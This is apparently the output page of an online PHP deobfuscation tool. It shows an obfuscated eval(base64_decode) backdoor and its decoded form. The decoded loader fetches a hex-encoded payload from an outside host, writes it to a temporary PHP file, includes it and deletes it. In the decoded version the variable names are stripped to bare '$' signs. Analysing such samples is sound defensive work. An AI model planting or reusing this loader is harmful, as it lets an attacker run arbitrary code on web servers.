Decoded Output
Download<?php
/* */
$URL = 'https://myzedd.tech/project/download3';
$ = parse_url($URL);
$ = $['host'];
$ = isset($['path']) ? $['path'] : '/';
$ = ($['scheme'] == 'https') ? 443 : 80;
$ = ($ == 443) ? 'ssl://' : '';
$ = @fsockopen($ . $, $, $, $, 30);
if ($) {
fwrite($, "GET $ HTTP/1.1
Host: $
User-Agent: Mozilla/5.0
Connection: Close
");
$ = '';
while (!feof($)) $ .= fread($, 8192);
fclose($);
$ = explode("
", $, 2);
$ = isset($[1]) ? trim($[1]) : '';
if ($ && strlen($) > 10 && ctype_xdigit($)) {
$PHP = hex2bin($);
if ($PHP) {
$ = sys_get_temp_dir() . '/' . uniqid() . '.php';
file_put_contents($, $PHP);
include($);
unlink($);
}
}
}
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
| parse_url | 1 |
|---|---|
| base64_decode | 1 |
Variables
| $URL | https://myzedd.tech/project/download3 |
|---|
Stats
| MD5 | 3fed32f6f0221c4a |
|---|---|
| Eval Count | 1 |
| Decode Time | 205 ms |
Original Code
<?php
eval(base64_decode('77u/PD9waH'.'ANCi8qIO'.'eZvumsvOWknOWutCDk'.'v67mraPniYggKi8NC'.'iRVUkwgPSAnaHR0c'.'HM6Ly9teXpl'.'ZGQudGVjaC9wcm9q'.'ZWN0L2Rvd25s'.'b2FkMyc7DQok6Kej5p'.'6QID0gcGFyc2VfdXJsKC'.'RVUkwpOw0KJOODm+OC'.'ueODiCA9ICTop6PmnpBbJ2'.'hvc3QnXTsNCiTjg'.'5HjgrkgPSBpc3NldCgk'.'6Kej5p6QWydw'.'YXRoJ10pID8gJOino+ae'.'kFsncGF0aCdd'.'IDogJy8nOw0KJOODneOD'.'vOODiCA9ICgk6K'.'ej5p6QWydzY2hl'.'bWUnXSA9PSA'.'naHR0cHMnKSA/IDQ0My'.'A6IDgwOw'.'0KJOODl+ODr'.'eODiOOCs'.'+ODqyA9ICgk44Od44O844O'.'IID09IDQ0MykgPyAnc3NsOi8'.'vJyA6ICcnOw0KDQok'.'44K944Kx44OD44OIID0gQGZz'.'b2Nrb3Blb'.'igk44OX44O'.'t44OI44Kz44'.'OrIC4gJOODm+OCueODiC'.'wgJOODneO'.'DvOODiCwgJOOCqOODqeODv'.'OeVquWPtywgJ'.'OOCqOODq'.'eODvOaWhywgMzAp'.'Ow0KaWYgKCTjgr3jgrHjg'.'4Pjg4gpIHsNCiAgICB'.'md3JpdGUoJO'.'OCveOCseODg+ODi'.'CwgIkdFVCAk44OR44K'.'5IEhUVFAvMS4xXHJcbkhv'.'c3Q6ICTjg5vjgrnj'.'g4hcclxuVXNlci1'.'BZ2VudDogTW96aWxsYS81L'.'jBcclxuQ29ubmVjdGlvbjog'.'Q2xvc2VcclxuXH'.'JcbiIpOw'.'0KICAgIC'.'Tjg6zjgrnjg53jg7P'.'jgrkgPSAnJzsNCiAgICB3aGl'.'sZSAoIWZlb2Yo'.'JOOCveOCseODg+ODiCkpI'.'CTjg6zjgrnjg53jg7Pjg'.'rkgLj0gZ'.'nJlYWQoJOOCveOCseO'.'Dg+ODiCwgO'.'DE5Mik7DQogICAgZm'.'Nsb3NlKCTjgr3jgrHjg4Pj'.'g4gpOw0KICAgIA0'.'KICAgICT'.'liIblibI'.'gPSBleHBsb2RlKCJcclx'.'uXHJcbiIsICTjg6zjg'.'rnjg53jg7P'.'jgrksIDIpOw0'.'KICAgICTljYHlha3pg'.'LLmlbAgPSBpc3NldCgk5'.'YiG5YmyWzFdK'.'SA/IHRyaW0oJOWI'.'huWJslsxXSkgOiAnJ'.'zsNCiAgIC'.'ANCiAgICBpZiAoJOWN'.'geWFremAsuaVsC'.'AmJiBzdHJsZW4oJOWNg'.'eWFremAsuaVsC'.'kgPiAxMCAmJiBjdHlwZV94'.'ZGlnaXQoJOWNge'.'WFremAsuaVsCkpIHsNC'.'iAgICAgICAgJFBIUOOCs+OD'.'vOODiSA9I'.'GhleDJia'.'W4oJOWNgeWFremAsuaVsCk7'.'DQogICAgICAgIGlmICgk'.'UEhQ44Kz4'.'4O844OJKSB7DQogICAgICAg'.'ICAgICAk5LiA5'.'pmC44OV44K'.'h44Kk44OrID0gc3lz'.'X2dldF90Z'.'W1wX2RpcigpIC4gJy8nI'.'C4gdW5pcWlkK'.'CkgLiAnLnB'.'ocCc7DQogICAgICAgICAg'.'ICBmaWxlX3B1dF9j'.'b250ZW50cygk5LiA5'.'pmC44OV44Kh4'.'4Kk44OrLCAkUEhQ4'.'4Kz44O844OJKTsNCiAgIC'.'AgICAgICAgIGluY'.'2x1ZGUoJOS4'.'gOaZguODleOCoeOC'.'pOODqyk7DQogICAgICA'.'gICAgICB1bmxpbm'.'soJOS4gOaZguODleOCo'.'eOCpOODqyk7DQogICAgICAg'.'IH0NCiAgICB'.'9DQp9'));
?>